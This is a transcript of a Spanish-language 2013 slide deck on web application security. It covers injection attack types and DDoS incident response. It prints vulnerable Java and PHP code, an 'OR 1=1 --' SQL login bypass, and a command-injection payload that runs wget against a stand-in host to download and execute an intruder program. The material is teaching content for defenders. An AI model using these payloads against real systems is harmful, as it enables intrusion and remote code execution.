Seguridad en aplicaciones web

10
Seguridad en Sistemas de Informacion (Manejo de ataques furtivos…) + Juan Daniel Pacheco - 20

Transcript of Seguridad en aplicaciones web

Seguridad en Sistemas de Informacion

(Manejo de ataques furtivos…)

+Juan Daniel Pacheco - 2013

Ataques por inyección • Telecom vs.• En febrero de 2008 el gobierno de Pakistán decidió desviar YouTube

de sus ciudadanos a una pagina clonada (con el contenido que ellos consideraban ofensivo, bloqueado), el problema fue que la falsa indicación se extendió por el globo. • Los servidores de Telecom no estaban preparados para el trafico de

2/3 de todos los usuarios de YouTube, y colapsaron.• El problema se corrigió agresivamente.

Ataques por inyección

Separación entre datos de usuario e instrucciones, requiere 3 elementos:

1. Identificar tecnologías.

2. Identificar todas las posibles entradas (inputs).

3. Y encontrar las entradas que son mas propensas a vulneración.

Tipos:

• Inyección SQL.

• Inyección Xpath.

• Inyección de comando.

• Directory Traversal Attacks.

• Ataques XXE (XML eXternal Entity).

• Inyección LDAP.

• Sobre carga de Buffer.

Ataques por inyección [INYECCIÓN SQL]Ejemplo de código Java

String username = req.getParameter("username");String password = req.getParameter("password");

String query = "SELECT id FROM user_table WHERE " + "username = '" + username + "' AND " + "password = PASSWORD('" + password + "')";

ResultSet rs = stmt.executeQuery(query);int id = -1; while (rs.next()) {

id = rs.getInt("id");}

El ataque, cambiara la sentencia SQL SELECT id FROM user_table WHERE username = '' OR 1=1 -- ' AND password= PASSWORD('x')

PREVENCIÓNValidar datos de entrada y/o agregar interruptores en sus inputsDesde el código, separando los datos del usuario de las sentencias SQL.

Popularidad: 8Simplicidad: 8Impacto:9Riesgo: 9

Ataques por inyección [INYECCIÓN DE COMANDO]De tener éxito da al atacante control remoto “completo” de el sistema.

<?php

$email_subject = "some subject";

if ( isset($_GET{'email'})) {

system("mail " + $_GET{'email'}) + " -s '" + $email_subject +

"' < /tmp/email_body", $return_val);

}

?>

Puede por ejemplo ingresar el siguiente código en lugar de la cadena de email.

--help; wget http://attack.com/programa_intruso; ./programa_intruso #

En cuyo caso, el resultado seria una instrucción que descargue un programa intruso.

mail --help; wget http://attack.com/programa_intruso ; ./programa_intruso # s 'some subject' < /tmp/email_body Popularidad: 8Simplicidad: 8Impacto: 10Riesgo: 10

Ataques por inyección [botnet]

Ejemplo de código JavaString username =

req.getParameter("username");

Popularidad: 8Simplicidad: 8Impacto:9Riesgo: 9

<contenido>…</contenido>

Para el contenido completo, por favor has tu solicitud en:[email protected] te la enviare con gusto.

Ataques de Denegación de Servicios

[Gestión de respuesta ante incidentes DDoS]

Preparación:• Establecer contactos con proveedores de Internet y autoridades de la ley, y con el personal interno pertinente.• Crear un listado de protocolos y direcciones IP prioritarios.• Fortalecer la infraestructura de red objetivo de posibles ataques y optimizar su referencia para que un ataque pueda ser rápidamente identificado.• Ajustar la configuración de DNS en poco tiempo. • Establecer el coste de un ataque.

Identificación:• Revisar el origen de direcciones IP, puertos de destino, direcciones URL y banderas de protocolo, y sea específico acerca de lo que el ISP debe de bloquear.• Establecer si la compañía recibió una demanda de extorsión antes del ataque e identificar a los sospechosos.

Contención / reparación:• Desactivar los cuellos de botella de la aplicación, bloquear el tráfico DDoS, y cerrar el servicio cloud más cercano tanto como sea posible.• Establecer filtros de salida para bloquear las respuestas al tráfico DDoS.• Llamar a un CERT nacional y a la policía y suministrarles información detallada.

Secuelas / recuperación:• Consultar con los equipos de la red antes de establecer los servicios.• Evaluar lo que ha funcionado, y lo qué no y construir la experiencia de la recuperación de desastres.

<contenido>…</contenido>

Para el contenido completo, por favor has tu solicitud en:[email protected] te la enviare con gusto.

Salvaguardar la seguridad es cuestión de prevención, no de venganza... +